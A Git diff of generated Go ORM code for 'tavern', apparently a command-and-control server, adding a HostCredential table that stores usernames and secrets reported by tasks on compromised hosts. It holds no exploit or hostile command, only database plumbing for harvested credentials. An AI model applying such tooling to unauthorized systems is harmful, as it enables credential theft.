+func (hq *HostQuery) QueryCredentials() *HostCredentialQuery {
+	query := (&HostCredentialClient{config: hq.config}).Query()
+	query.path = func(ctx context.Context) (fromU *sql.Selector, err error) {
+		if err := hq.prepareQuery(ctx); err != nil {
+			return nil, err
+		}
+		selector := hq.sqlQuery(ctx)
+		if err := selector.Err(); err != nil {
+			return nil, err
+		}
+		step := sqlgraph.NewStep(
+			sqlgraph.From(host.Table, host.FieldID, selector),
+			sqlgraph.To(hostcredential.Table, hostcredential.FieldID),
+			sqlgraph.Edge(sqlgraph.O2M, true, host.CredentialsTable, host.CredentialsColumn),
+		)
+		fromU = sqlgraph.SetNeighbors(hq.driver.Dialect(), step)
+		return fromU, nil
+	}
+	return query
+}
+
 // First returns the first Host entity from the query.
 // Returns a *NotFoundError when no Host was found.
 func (hq *HostQuery) First(ctx context.Context) (*Host, error) {
@@ -347,15 +372,16 @@ func (hq *HostQuery) Clone() *HostQuery {
 		return nil
 	}
 	return &HostQuery{
-		config:        hq.config,
-		ctx:           hq.ctx.Clone(),
-		order:         append([]host.OrderOption{}, hq.order...),
-		inters:        append([]Interceptor{}, hq.inters...),
-		predicates:    append([]predicate.Host{}, hq.predicates...),
-		withTags:      hq.withTags.Clone(),
-		withBeacons:   hq.withBeacons.Clone(),
-		withFiles:     hq.withFiles.Clone(),
-		withProcesses: hq.withProcesses.Clone(),
+		config:          hq.config,
+		ctx:             hq.ctx.Clone(),
+		order:           append([]host.OrderOption{}, hq.order...),
+		inters:          append([]Interceptor{}, hq.inters...),
+		predicates:      append([]predicate.Host{}, hq.predicates...),
+		withTags:        hq.withTags.Clone(),
+		withBeacons:     hq.withBeacons.Clone(),
+		withFiles:       hq.withFiles.Clone(),
+		withProcesses:   hq.withProcesses.Clone(),
+		withCredentials: hq.withCredentials.Clone(),
 		// clone intermediate query.
 		sql:  hq.sql.Clone(),
 		path: hq.path,
@@ -406,6 +432,17 @@ func (hq *HostQuery) WithProcesses(opts ...func(*HostProcessQuery)) *HostQuery {
 	return hq
 }
 
+// WithCredentials tells the query-builder to eager-load the nodes that are connected to
+// the "credentials" edge. The optional arguments are used to configure the query builder of the edge.
+func (hq *HostQuery) WithCredentials(opts ...func(*HostCredentialQuery)) *HostQuery {
+	query := (&HostCredentialClient{config: hq.config}).Query()
+	for _, opt := range opts {
+		opt(query)
+	}
+	hq.withCredentials = query
+	return hq
+}
+
 // GroupBy is used to group vertices by one or more fields/columns.
 // It is often used with aggregate functions, like: count, max, mean, min, sum.
 //
@@ -484,11 +521,12 @@ func (hq *HostQuery) sqlAll(ctx context.Context, hooks ...queryHook) ([]*Host, e
 	var (
 		nodes       = []*Host{}
 		_spec       = hq.querySpec()
-		loadedTypes = [4]bool{
+		loadedTypes = [5]bool{
 			hq.withTags != nil,
 			hq.withBeacons != nil,
 			hq.withFiles != nil,
 			hq.withProcesses != nil,
+			hq.withCredentials != nil,
 		}
 	)
 	_spec.ScanValues = func(columns []string) ([]any, error) {
@@ -540,6 +578,13 @@ func (hq *HostQuery) sqlAll(ctx context.Context, hooks ...queryHook) ([]*Host, e
 			return nil, err
 		}
 	}
+	if query := hq.withCredentials; query != nil {
+		if err := hq.loadCredentials(ctx, query, nodes,
+			func(n *Host) { n.Edges.Credentials = []*HostCredential{} },
+			func(n *Host, e *HostCredential) { n.Edges.Credentials = append(n.Edges.Credentials, e) }); err != nil {
+			return nil, err
+		}
+	}
 	for name, query := range hq.withNamedTags {
 		if err := hq.loadTags(ctx, query, nodes,
 			func(n *Host) { n.appendNamedTags(name) },
@@ -568,6 +613,13 @@ func (hq *HostQuery) sqlAll(ctx context.Context, hooks ...queryHook) ([]*Host, e
 			return nil, err
 		}
 	}
+	for name, query := range hq.withNamedCredentials {
+		if err := hq.loadCredentials(ctx, query, nodes,
+			func(n *Host) { n.appendNamedCredentials(name) },
+			func(n *Host, e *HostCredential) { n.appendNamedCredentials(name, e) }); err != nil {
+			return nil, err
+		}
+	}
 	for i := range hq.loadTotal {
 		if err := hq.loadTotal[i](ctx, nodes); err != nil {
 			return nil, err
@@ -730,6 +782,37 @@ func (hq *HostQuery) loadProcesses(ctx context.Context, query *HostProcessQuery,
 	}
 	return nil
 }
+func (hq *HostQuery) loadCredentials(ctx context.Context, query *HostCredentialQuery, nodes []*Host, init func(*Host), assign func(*Host, *HostCredential)) error {
+	fks := make([]driver.Value, 0, len(nodes))
+	nodeids := make(map[int]*Host)
+	for i := range nodes {
+		fks = append(fks, nodes[i].ID)
+		nodeids[nodes[i].ID] = nodes[i]
+		if init != nil {
+			init(nodes[i])
+		}
+	}
+	query.withFKs = true
+	query.Where(predicate.HostCredential(func(s *sql.Selector) {
+		s.Where(sql.InValues(s.C(host.CredentialsColumn), fks...))
+	}))
+	neighbors, err := query.All(ctx)
+	if err != nil {
+		return err
+	}
+	for _, n := range neighbors {
+		fk := n.host_credential_host
+		if fk == nil {
+			return fmt.Errorf(`foreign-key "host_credential_host" is nil for node %v`, n.ID)
+		}
+		node, ok := nodeids[*fk]
+		if !ok {
+			return fmt.Errorf(`unexpected referenced foreign-key "host_credential_host" returned %v for node %v`, *fk, n.ID)
+		}
+		assign(node, n)
+	}
+	return nil
+}
 
 func (hq *HostQuery) sqlCount(ctx context.Context) (int, error) {
 	_spec := hq.querySpec()
@@ -871,6 +954,20 @@ func (hq *HostQuery) WithNamedProcesses(name string, opts ...func(*HostProcessQu
 	return hq
 }
 
+// WithNamedCredentials tells the query-builder to eager-load the nodes that are connected to the "credentials"
+// edge with the given name. The optional arguments are used to configure the query builder of the edge.
+func (hq *HostQuery) WithNamedCredentials(name string, opts ...func(*HostCredentialQuery)) *HostQuery {
+	query := (&HostCredentialClient{config: hq.config}).Query()
+	for _, opt := range opts {
+		opt(query)
+	}
+	if hq.withNamedCredentials == nil {
+		hq.withNamedCredentials = make(map[string]*HostCredentialQuery)
+	}
+	hq.withNamedCredentials[name] = query
+	return hq
+}
+
 // HostGroupBy is the group-by builder for Host entities.
 type HostGroupBy struct {
 	selector
diff --git a/tavern/internal/ent/host_update.go b/tavern/internal/ent/host_update.go
index 45386bc7f..4599ecab6 100644
--- a/tavern/internal/ent/host_update.go
+++ b/tavern/internal/ent/host_update.go
@@ -14,6 +14,7 @@ import (
 	"realm.pub/tavern/internal/c2/c2pb"
 	"realm.pub/tavern/internal/ent/beacon"
 	"realm.pub/tavern/internal/ent/host"
+	"realm.pub/tavern/internal/ent/hostcredential"
 	"realm.pub/tavern/internal/ent/hostfile"
 	"realm.pub/tavern/internal/ent/hostprocess"
 	"realm.pub/tavern/internal/ent/predicate"
@@ -171,6 +172,21 @@ func (hu *HostUpdate) AddProcesses(h ...*HostProcess) *HostUpdate {
 	return hu.AddProcessIDs(ids...)
 }
 
+// AddCredentialIDs adds the "credentials" edge to the HostCredential entity by IDs.
+func (hu *HostUpdate) AddCredentialIDs(ids ...int) *HostUpdate {
+	hu.mutation.AddCredentialIDs(ids...)
+	return hu
+}
+
+// AddCredentials adds the "credentials" edges to the HostCredential entity.
+func (hu *HostUpdate) AddCredentials(h ...*HostCredential) *HostUpdate {
+	ids := make([]int, len(h))
+	for i := range h {
+		ids[i] = h[i].ID
+	}
+	return hu.AddCredentialIDs(ids...)
+}
+
 // Mutation returns the HostMutation object of the builder.
 func (hu *HostUpdate) Mutation() *HostMutation {
 	return hu.mutation
@@ -260,6 +276,27 @@ func (hu *HostUpdate) RemoveProcesses(h ...*HostProcess) *HostUpdate {
 	return hu.RemoveProcessIDs(ids...)
 }
 
+// ClearCredentials clears all "credentials" edges to the HostCredential entity.
+func (hu *HostUpdate) ClearCredentials() *HostUpdate {
+	hu.mutation.ClearCredentials()
+	return hu
+}
+
+// RemoveCredentialIDs removes the "credentials" edge to HostCredential entities by IDs.
+func (hu *HostUpdate) RemoveCredentialIDs(ids ...int) *HostUpdate {
+	hu.mutation.RemoveCredentialIDs(ids...)
+	return hu
+}
+
+// RemoveCredentials removes "credentials" edges to HostCredential entities.
+func (hu *HostUpdate) RemoveCredentials(h ...*HostCredential) *HostUpdate {
+	ids := make([]int, len(h))
+	for i := range h {
+		ids[i] = h[i].ID
+	}
+	return hu.RemoveCredentialIDs(ids...)
+}
+
 // Save executes the query and returns the number of nodes affected by the update operation.
 func (hu *HostUpdate) Save(ctx context.Context) (int, error) {
 	hu.defaults()
@@ -535,6 +572,51 @@ func (hu *HostUpdate) sqlSave(ctx context.Context) (n int, err error) {
 		}
 		_spec.Edges.Add = append(_spec.Edges.Add, edge)
 	}
+	if hu.mutation.CredentialsCleared() {
+		edge := &sqlgraph.EdgeSpec{
+			Rel:     sqlgraph.O2M,
+			Inverse: true,
+			Table:   host.CredentialsTable,
+			Columns: []string{host.CredentialsColumn},
+			Bidi:    false,
+			Target: &sqlgraph.EdgeTarget{
+				IDSpec: sqlgraph.NewFieldSpec(hostcredential.FieldID, field.TypeInt),
+			},
+		}
+		_spec.Edges.Clear = append(_spec.Edges.Clear, edge)
+	}
+	if nodes := hu.mutation.RemovedCredentialsIDs(); len(nodes) > 0 && !hu.mutation.CredentialsCleared() {
+		edge := &sqlgraph.EdgeSpec{
+			Rel:     sqlgraph.O2M,
+			Inverse: true,
+			Table:   host.CredentialsTable,
+			Columns: []string{host.CredentialsColumn},
+			Bidi:    false,
+			Target: &sqlgraph.EdgeTarget{
+				IDSpec: sqlgraph.NewFieldSpec(hostcredential.FieldID, field.TypeInt),
+			},
+		}
+		for _, k := range nodes {
+			edge.Target.Nodes = append(edge.Target.Nodes, k)
+		}
+		_spec.Edges.Clear = append(_spec.Edges.Clear, edge)
+	}
+	if nodes := hu.mutation.CredentialsIDs(); len(nodes) > 0 {
+		edge := &sqlgraph.EdgeSpec{
+			Rel:     sqlgraph.O2M,
+			Inverse: true,
+			Table:   host.CredentialsTable,
+			Columns: []string{host.CredentialsColumn},
+			Bidi:    false,
+			Target: &sqlgraph.EdgeTarget{
+				IDSpec: sqlgraph.NewFieldSpec(hostcredential.FieldID, field.TypeInt),
+			},
+		}
+		for _, k := range nodes {
+			edge.Target.Nodes = append(edge.Target.Nodes, k)
+		}
+		_spec.Edges.Add = append(_spec.Edges.Add, edge)
+	}
 	if n, err = sqlgraph.UpdateNodes(ctx, hu.driver, _spec); err != nil {
 		if _, ok := err.(*sqlgraph.NotFoundError); ok {
 			err = &NotFoundError{host.Label}
@@ -693,6 +775,21 @@ func (huo *HostUpdateOne) AddProcesses(h ...*HostProcess) *HostUpdateOne {
 	return huo.AddProcessIDs(ids...)
 }
 
+// AddCredentialIDs adds the "credentials" edge to the HostCredential entity by IDs.
+func (huo *HostUpdateOne) AddCredentialIDs(ids ...int) *HostUpdateOne {
+	huo.mutation.AddCredentialIDs(ids...)
+	return huo
+}
+
+// AddCredentials adds the "credentials" edges to the HostCredential entity.
+func (huo *HostUpdateOne) AddCredentials(h ...*HostCredential) *HostUpdateOne {
+	ids := make([]int, len(h))
+	for i := range h {
+		ids[i] = h[i].ID
+	}
+	return huo.AddCredentialIDs(ids...)
+}
+
 // Mutation returns the HostMutation object of the builder.
 func (huo *HostUpdateOne) Mutation() *HostMutation {
 	return huo.mutation
@@ -782,6 +879,27 @@ func (huo *HostUpdateOne) RemoveProcesses(h ...*HostProcess) *HostUpdateOne {
 	return huo.RemoveProcessIDs(ids...)
 }
 
+// ClearCredentials clears all "credentials" edges to the HostCredential entity.
+func (huo *HostUpdateOne) ClearCredentials() *HostUpdateOne {
+	huo.mutation.ClearCredentials()
+	return huo
+}
+
+// RemoveCredentialIDs removes the "credentials" edge to HostCredential entities by IDs.
+func (huo *HostUpdateOne) RemoveCredentialIDs(ids ...int) *HostUpdateOne {
+	huo.mutation.RemoveCredentialIDs(ids...)
+	return huo
+}
+
+// RemoveCredentials removes "credentials" edges to HostCredential entities.
+func (huo *HostUpdateOne) RemoveCredentials(h ...*HostCredential) *HostUpdateOne {
+	ids := make([]int, len(h))
+	for i := range h {
+		ids[i] = h[i].ID
+	}
+	return huo.RemoveCredentialIDs(ids...)
+}
+
 // Where appends a list predicates to the HostUpdate builder.
 func (huo *HostUpdateOne) Where(ps ...predicate.Host) *HostUpdateOne {
 	huo.mutation.Where(ps...)
@@ -1087,6 +1205,51 @@ func (huo *HostUpdateOne) sqlSave(ctx context.Context) (_node *Host, err error)
 		}
 		_spec.Edges.Add = append(_spec.Edges.Add, edge)
 	}
+	if huo.mutation.CredentialsCleared() {
+		edge := &sqlgraph.EdgeSpec{
+			Rel:     sqlgraph.O2M,
+			Inverse: true,
+			Table:   host.CredentialsTable,
+			Columns: []string{host.CredentialsColumn},
+			Bidi:    false,
+			Target: &sqlgraph.EdgeTarget{
+				IDSpec: sqlgraph.NewFieldSpec(hostcredential.FieldID, field.TypeInt),
+			},
+		}
+		_spec.Edges.Clear = append(_spec.Edges.Clear, edge)
+	}
+	if nodes := huo.mutation.RemovedCredentialsIDs(); len(nodes) > 0 && !huo.mutation.CredentialsCleared() {
+		edge := &sqlgraph.EdgeSpec{
+			Rel:     sqlgraph.O2M,
+			Inverse: true,
+			Table:   host.CredentialsTable,
+			Columns: []string{host.CredentialsColumn},
+			Bidi:    false,
+			Target: &sqlgraph.EdgeTarget{
+				IDSpec: sqlgraph.NewFieldSpec(hostcredential.FieldID, field.TypeInt),
+			},
+		}
+		for _, k := range nodes {
+			edge.Target.Nodes = append(edge.Target.Nodes, k)
+		}
+		_spec.Edges.Clear = append(_spec.Edges.Clear, edge)
+	}
+	if nodes := huo.mutation.CredentialsIDs(); len(nodes) > 0 {
+		edge := &sqlgraph.EdgeSpec{
+			Rel:     sqlgraph.O2M,
+			Inverse: true,
+			Table:   host.CredentialsTable,
+			Columns: []string{host.CredentialsColumn},
+			Bidi:    false,
+			Target: &sqlgraph.EdgeTarget{
+				IDSpec: sqlgraph.NewFieldSpec(hostcredential.FieldID, field.TypeInt),
+			},
+		}
+		for _, k := range nodes {
+			edge.Target.Nodes = append(edge.Target.Nodes, k)
+		}
+		_spec.Edges.Add = append(_spec.Edges.Add, edge)
+	}
 	_node = &Host{config: huo.config}
 	_spec.Assign = _node.assignValues
 	_spec.ScanValues = _node.scanValues
diff --git a/tavern/internal/ent/hostcredential.go b/tavern/internal/ent/hostcredential.go
new file mode 100644
index 000000000..67198b997
--- /dev/null
+++ b/tavern/internal/ent/hostcredential.go
@@ -0,0 +1,213 @@
+// Code generated by ent, DO NOT EDIT.
+
+package ent
+
+import (
+	"fmt"
+	"strings"
+	"time"
+
+	"entgo.io/ent"
+	"entgo.io/ent/dialect/sql"
+	"realm.pub/tavern/internal/ent/host"
+	"realm.pub/tavern/internal/ent/hostcredential"
+	"realm.pub/tavern/internal/ent/task"
+)
+
+// HostCredential is the model entity for the HostCredential schema.
+type HostCredential struct {
+	config `json:"-"`
+	// ID of the ent.
+	ID int `json:"id,omitempty"`
+	// Timestamp of when this ent was created
+	CreatedAt time.Time `json:"created_at,omitempty"`
+	// Timestamp of when this ent was last updated
+	LastModifiedAt time.Time `json:"last_modified_at,omitempty"`
+	// Identity associated with this credential (e.g. username).
+	Principal string `json:"principal,omitempty"`
+	// Secret for this credential (e.g. password).
+	Secret string `json:"secret,omitempty"`
+	// Edges holds the relations/edges for other nodes in the graph.
+	// The values are being populated by the HostCredentialQuery when eager-loading is set.
+	Edges                     HostCredentialEdges `json:"edges"`
+	host_credential_host      *int
+	task_reported_credentials *int
+	selectValues              sql.SelectValues
+}
+
+// HostCredentialEdges holds the relations/edges for other nodes in the graph.
+type HostCredentialEdges struct {
+	// Host the credential was reported on.
+	Host *Host `json:"host,omitempty"`
+	// Task that reported this credential.
+	Task *Task `json:"task,omitempty"`
+	// loadedTypes holds the information for reporting if a
+	// type was loaded (or requested) in eager-loading or not.
+	loadedTypes [2]bool
+	// totalCount holds the count of the edges above.
+	totalCount [2]map[string]int
+}
+
+// HostOrErr returns the Host value or an error if the edge
+// was not loaded in eager-loading, or loaded but was not found.
+func (e HostCredentialEdges) HostOrErr() (*Host, error) {
+	if e.loadedTypes[0] {
+		if e.Host == nil {
+			// Edge was loaded but was not found.
+			return nil, &NotFoundError{label: host.Label}
+		}
+		return e.Host, nil
+	}
+	return nil, &NotLoadedError{edge: "host"}
+}
+
+// TaskOrErr returns the Task value or an error if the edge
+// was not loaded in eager-loading, or loaded but was not found.
+func (e HostCredentialEdges) TaskOrErr() (*Task, error) {
+	if e.loadedTypes[1] {
+		if e.Task == nil {
+			// Edge was loaded but was not found.
+			return nil, &NotFoundError{label: task.Label}
+		}
+		return e.Task, nil
+	}
+	return nil, &NotLoadedError{edge: "task"}
+}
+
+// scanValues returns the types for scanning values from sql.Rows.
+func (*HostCredential) scanValues(columns []string) ([]any, error) {
+	values := make([]any, len(columns))
+	for i := range columns {
+		switch columns[i] {
+		case hostcredential.FieldID:
+			values[i] = new(sql.NullInt64)
+		case hostcredential.FieldPrincipal, hostcredential.FieldSecret:
+			values[i] = new(sql.NullString)
+		case hostcredential.FieldCreatedAt, hostcredential.FieldLastModifiedAt:
+			values[i] = new(sql.NullTime)
+		case hostcredential.ForeignKeys[0]: // host_credential_host
+			values[i] = new(sql.NullInt64)
+		case hostcredential.ForeignKeys[1]: // task_reported_credentials
+			values[i] = new(sql.NullInt64)
+		default:
+			values[i] = new(sql.UnknownType)
+		}
+	}
+	return values, nil
+}
+
+// assignValues assigns the values that were returned from sql.Rows (after scanning)
+// to the HostCredential fields.
+func (hc *HostCredential) assignValues(columns []string, values []any) error {
+	if m, n := len(values), len(columns); m < n {
+		return fmt.Errorf("mismatch number of scan values: %d != %d", m, n)
+	}
+	for i := range columns {
+		switch columns[i] {
+		case hostcredential.FieldID:
+			value, ok := values[i].(*sql.NullInt64)
+			if !ok {
+				return fmt.Errorf("unexpected type %T for field id", value)
+			}
+			hc.ID = int(value.Int64)
+		case hostcredential.FieldCreatedAt:
+			if value, ok := values[i].(*sql.NullTime); !ok {
+				return fmt.Errorf("unexpected type %T for field created_at", values[i])
+			} else if value.Valid {
+				hc.CreatedAt = value.Time
+			}
+		case hostcredential.FieldLastModifiedAt:
+			if value, ok := values[i].(*sql.NullTime); !ok {
+				return fmt.Errorf("unexpected type %T for field last_modified_at", values[i])
+			} else if value.Valid {
+				hc.LastModifiedAt = value.Time
+			}
+		case hostcredential.FieldPrincipal:
+			if value, ok := values[i].(*sql.NullString); !ok {
+				return fmt.Errorf("unexpected type %T for field principal", values[i])
+			} else if value.Valid {
+				hc.Principal = value.String
+			}
+		case hostcredential.FieldSecret:
+			if value, ok := values[i].(*sql.NullString); !ok {
+				return fmt.Errorf("unexpected type %T for field secret", values[i])
+			} else if value.Valid {
+				hc.Secret = value.String
+			}
+		case hostcredential.ForeignKeys[0]:
+			if value, ok := values[i].(*sql.NullInt64); !ok {
+				return fmt.Errorf("unexpected type %T for edge-field host_credential_host", value)
+			} else if value.Valid {
+				hc.host_credential_host = new(int)
+				*hc.host_credential_host = int(value.Int64)
+			}
+		case hostcredential.ForeignKeys[1]:
+			if value, ok := values[i].(*sql.NullInt64); !ok {
+				return fmt.Errorf("unexpected type %T for edge-field task_reported_credentials", value)
+			} else if value.Valid {
+				hc.task_reported_credentials = new(int)
+				*hc.task_reported_credentials = int(value.Int64)
+			}
+		default:
+			hc.selectValues.Set(columns[i], values[i])
+		}
+	}
+	return nil
+}
+
+// Value returns the ent.Value that was dynamically selected and assigned to the HostCredential.
+// This includes values selected through modifiers, order, etc.
+func (hc *HostCredential) Value(name string) (ent.Value, error) {
+	return hc.selectValues.Get(name)
+}
+
+// QueryHost queries the "host" edge of the HostCredential entity.
+func (hc *HostCredential) QueryHost() *HostQuery {
+	return NewHostCredentialClient(hc.config).QueryHost(hc)
+}
+
+// QueryTask queries the "task" edge of the HostCredential entity.
+func (hc *HostCredential) QueryTask() *TaskQuery {
+	return NewHostCredentialClient(hc.config).QueryTask(hc)
+}
+
+// Update returns a builder for updating this HostCredential.
+// Note that you need to call HostCredential.Unwrap() before calling this method if this HostCredential
+// was returned from a transaction, and the transaction was committed or rolled back.
+func (hc *HostCredential) Update() *HostCredentialUpdateOne {
+	return NewHostCredentialClient(hc.config).UpdateOne(hc)
+}
+
+// Unwrap unwraps the HostCredential entity that was returned from a transaction after it was closed,
+// so that all future queries will be executed through the driver which created the transaction.
+func (hc *HostCredential) Unwrap() *HostCredential {
+	_tx, ok := hc.config.driver.(*txDriver)
+	if !ok {
+		panic("ent: HostCredential is not a transactional entity")
+	}
+	hc.config.driver = _tx.drv
+	return hc
+}
+
+// String implements the fmt.Stringer.
+func (hc *HostCredential) String() string {
+	var builder strings.Builder
+	builder.WriteString("HostCredential(")
+	builder.WriteString(fmt.Sprintf("id=%v, ", hc.ID))
+	builder.WriteString("created_at=")
+	builder.WriteString(hc.CreatedAt.Format(time.ANSIC))
+	builder.WriteString(", ")
+	builder.WriteString("last_modified_at=")
+	builder.WriteString(hc.LastModifiedAt.Format(time.ANSIC))
+	builder.WriteString(", ")
+	builder.WriteString("principal=")
+	builder.WriteString(hc.Principal)
+	builder.WriteString(", ")
+	builder.WriteString("secret=")
+	builder.WriteString(hc.Secret)
+	builder.WriteByte(')')
+	return builder.String()
+}
+
+// HostCredentials is a parsable slice of HostCredential.
+type HostCredentials []*HostCredential
diff --git a/tavern/internal/ent/hostcredential/hostcredential.go b/tavern/internal/ent/hostcredential/hostcredential.go
new file mode 100644
index 000000000..8ef05ae2e
--- /dev/null
+++ b/tavern/internal/ent/hostcredential/hostcredential.go
@@ -0,0 +1,145 @@
+// Code generated by ent, DO NOT EDIT.
+
+package hostcredential
+
+import (
+	"time"
+
+	"entgo.io/ent/dialect/sql"
+	"entgo.io/ent/dialect/sql/sqlgraph"
+)
+
+const (
+	// Label holds the string label denoting the hostcredential type in the database.
+	Label = "host_credential"
+	// FieldID holds the string denoting the id field in the database.
+	FieldID = "id"
+	// FieldCreatedAt holds the string denoting the created_at field in the database.
+	FieldCreatedAt = "created_at"
+	// FieldLastModifiedAt holds the string denoting the last_modified_at field in the database.
+	FieldLastModifiedAt = "last_modified_at"
+	// FieldPrincipal holds the string denoting the principal field in the database.
+	FieldPrincipal = "principal"
+	// FieldSecret holds the string denoting the secret field in the database.
+	FieldSecret = "secret"
+	// EdgeHost holds the string denoting the host edge name in mutations.
+	EdgeHost = "host"
+	// EdgeTask holds the string denoting the task edge name in mutations.
+	EdgeTask = "task"
+	// Table holds the table name of the hostcredential in the database.
+	Table = "host_credentials"
+	// HostTable is the table that holds the host relation/edge.
+	HostTable = "host_credentials"
+	// HostInverseTable is the table name for the Host entity.
+	// It exists in this package in order to avoid circular dependency with the "host" package.
+	HostInverseTable = "hosts"
+	// HostColumn is the table column denoting the host relation/edge.
+	HostColumn = "host_credential_host"
+	// TaskTable is the table that holds the task relation/edge.
+	TaskTable = "host_credentials"
+	// TaskInverseTable is the table name for the Task entity.
+	// It exists in this package in order to avoid circular dependency with the "task" package.
+	TaskInverseTable = "tasks"
+	// TaskColumn is the table column denoting the task relation/edge.
+	TaskColumn = "task_reported_credentials"
+)
+
+// Columns holds all SQL columns for hostcredential fields.
+var Columns = []string{
+	FieldID,
+	FieldCreatedAt,
+	FieldLastModifiedAt,
+	FieldPrincipal,
+	FieldSecret,
+}
+
+// ForeignKeys holds the SQL foreign-keys that are owned by the "host_credentials"
+// table and are not defined as standalone fields in the schema.
+var ForeignKeys = []string{
+	"host_credential_host",
+	"task_reported_credentials",
+}
+
+// ValidColumn reports if the column name is valid (part of the table columns).
+func ValidColumn(column string) bool {
+	for i := range Columns {
+		if column == Columns[i] {
+			return true
+		}
+	}
+	for i := range ForeignKeys {
+		if column == ForeignKeys[i] {
+			return true
+		}
+	}
+	return false
+}
+
+var (
+	// DefaultCreatedAt holds the default value on creation for the "created_at" field.
+	DefaultCreatedAt func() time.Time
+	// DefaultLastModifiedAt holds the default value on creation for the "last_modified_at" field.
+	DefaultLastModifiedAt func() time.Time
+	// UpdateDefaultLastModifiedAt holds the default value on update for the "last_modified_at" field.
+	UpdateDefaultLastModifiedAt func() time.Time
+	// PrincipalValidator is a validator for the "principal" field. It is called by the builders before save.
+	PrincipalValidator func(string) error
+	// SecretValidator is a validator for the "secret" field. It is called by the builders before save.
+	SecretValidator func(string) error
+)
+
+// OrderOption defines the ordering options for the HostCredential queries.
+type OrderOption func(*sql.Selector)
+
+// ByID orders the results by the id field.
+func ByID(opts ...sql.OrderTermOption) OrderOption {
+	return sql.OrderByField(FieldID, opts...).ToFunc()
+}
+
+// ByCreatedAt orders the results by the created_at field.
+func ByCreatedAt(opts ...sql.OrderTermOption) OrderOption {
+	return sql.OrderByField(FieldCreatedAt, opts...).ToFunc()
+}
+
+// ByLastModifiedAt orders the results by the last_modified_at field.
+func ByLastModifiedAt(opts ...sql.OrderTermOption) OrderOption {
+	return sql.OrderByField(FieldLastModifiedAt, opts...).ToFunc()
+}
+
+// ByPrincipal orders the results by the principal field.
+func ByPrincipal(opts ...sql.OrderTermOption) OrderOption {
+	return sql.OrderByField(FieldPrincipal, opts...).ToFunc()
+}
+
+// BySecret orders the results by the secret field.
+func BySecret(opts ...sql.OrderTermOption) OrderOption {
+	return sql.OrderByField(FieldSecret, opts...).ToFunc()
+}
+
+// ByHostField orders the results by host field.
+func ByHostField(field string, opts ...sql.OrderTermOption) OrderOption {
+	return func(s *sql.Selector) {
+		sqlgraph.OrderByNeighborTerms(s, newHostStep(), sql.OrderByField(field, opts...))
+	}
+}
+
+// ByTaskField orders the results by task field.
+func ByTaskField(field string, opts ...sql.OrderTermOption) OrderOption {
+	return func(s *sql.Selector) {
+		sqlgraph.OrderByNeighborTerms(s, newTaskStep(), sql.OrderByField(field, opts...))
+	}
+}
+func newHostStep() *sqlgraph.Step {
+	return sqlgraph.NewStep(
+		sqlgraph.From(Table, FieldID),
+		sqlgraph.To(HostInverseTable, FieldID),
+		sqlgraph.Edge(sqlgraph.M2O, false, HostTable, HostColumn),
+	)
+}
+func newTaskStep() *sqlgraph.Step {
+	return sqlgraph.NewStep(
+		sqlgraph.From(Table, FieldID),
+		sqlgraph.To(TaskInverseTable, FieldID),
+		sqlgraph.Edge(sqlgraph.M2O, true, TaskTable, TaskColumn),
+	)
+}
diff --git a/tavern/internal/ent/hostcredential/where.go b/tavern/internal/ent/hostcredential/where.go
new file mode 100644
index 000000000..5030c6778
--- /dev/null
+++ b/tavern/internal/ent/hostcredential/where.go
@@ -0,0 +1,347 @@
+// Code generated by ent, DO NOT EDIT.
+
+package hostcredential
+
+import (
+	"time"
+
+	"entgo.io/ent/dialect/sql"
+	"entgo.io/ent/dialect/sql/sqlgraph"
+	"realm.pub/tavern/internal/ent/predicate"
+)
+
+// ID filters vertices based on their ID field.
+func ID(id int) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldEQ(FieldID, id))
+}
+
+// IDEQ applies the EQ predicate on the ID field.
+func IDEQ(id int) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldEQ(FieldID, id))
+}
+
+// IDNEQ applies the NEQ predicate on the ID field.
+func IDNEQ(id int) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldNEQ(FieldID, id))
+}
+
+// IDIn applies the In predicate on the ID field.
+func IDIn(ids ...int) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldIn(FieldID, ids...))
+}
+
+// IDNotIn applies the NotIn predicate on the ID field.
+func IDNotIn(ids ...int) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldNotIn(FieldID, ids...))
+}
+
+// IDGT applies the GT predicate on the ID field.
+func IDGT(id int) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldGT(FieldID, id))
+}
+
+// IDGTE applies the GTE predicate on the ID field.
+func IDGTE(id int) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldGTE(FieldID, id))
+}
+
+// IDLT applies the LT predicate on the ID field.
+func IDLT(id int) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldLT(FieldID, id))
+}
+
+// IDLTE applies the LTE predicate on the ID field.
+func IDLTE(id int) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldLTE(FieldID, id))
+}
+
+// CreatedAt applies equality check predicate on the "created_at" field. It's identical to CreatedAtEQ.
+func CreatedAt(v time.Time) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldEQ(FieldCreatedAt, v))
+}
+
+// LastModifiedAt applies equality check predicate on the "last_modified_at" field. It's identical to LastModifiedAtEQ.
+func LastModifiedAt(v time.Time) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldEQ(FieldLastModifiedAt, v))
+}
+
+// Principal applies equality check predicate on the "principal" field. It's identical to PrincipalEQ.
+func Principal(v string) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldEQ(FieldPrincipal, v))
+}
+
+// Secret applies equality check predicate on the "secret" field. It's identical to SecretEQ.
+func Secret(v string) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldEQ(FieldSecret, v))
+}
+
+// CreatedAtEQ applies the EQ predicate on the "created_at" field.
+func CreatedAtEQ(v time.Time) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldEQ(FieldCreatedAt, v))
+}
+
+// CreatedAtNEQ applies the NEQ predicate on the "created_at" field.
+func CreatedAtNEQ(v time.Time) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldNEQ(FieldCreatedAt, v))
+}
+
+// CreatedAtIn applies the In predicate on the "created_at" field.
+func CreatedAtIn(vs ...time.Time) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldIn(FieldCreatedAt, vs...))
+}
+
+// CreatedAtNotIn applies the NotIn predicate on the "created_at" field.
+func CreatedAtNotIn(vs ...time.Time) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldNotIn(FieldCreatedAt, vs...))
+}
+
+// CreatedAtGT applies the GT predicate on the "created_at" field.
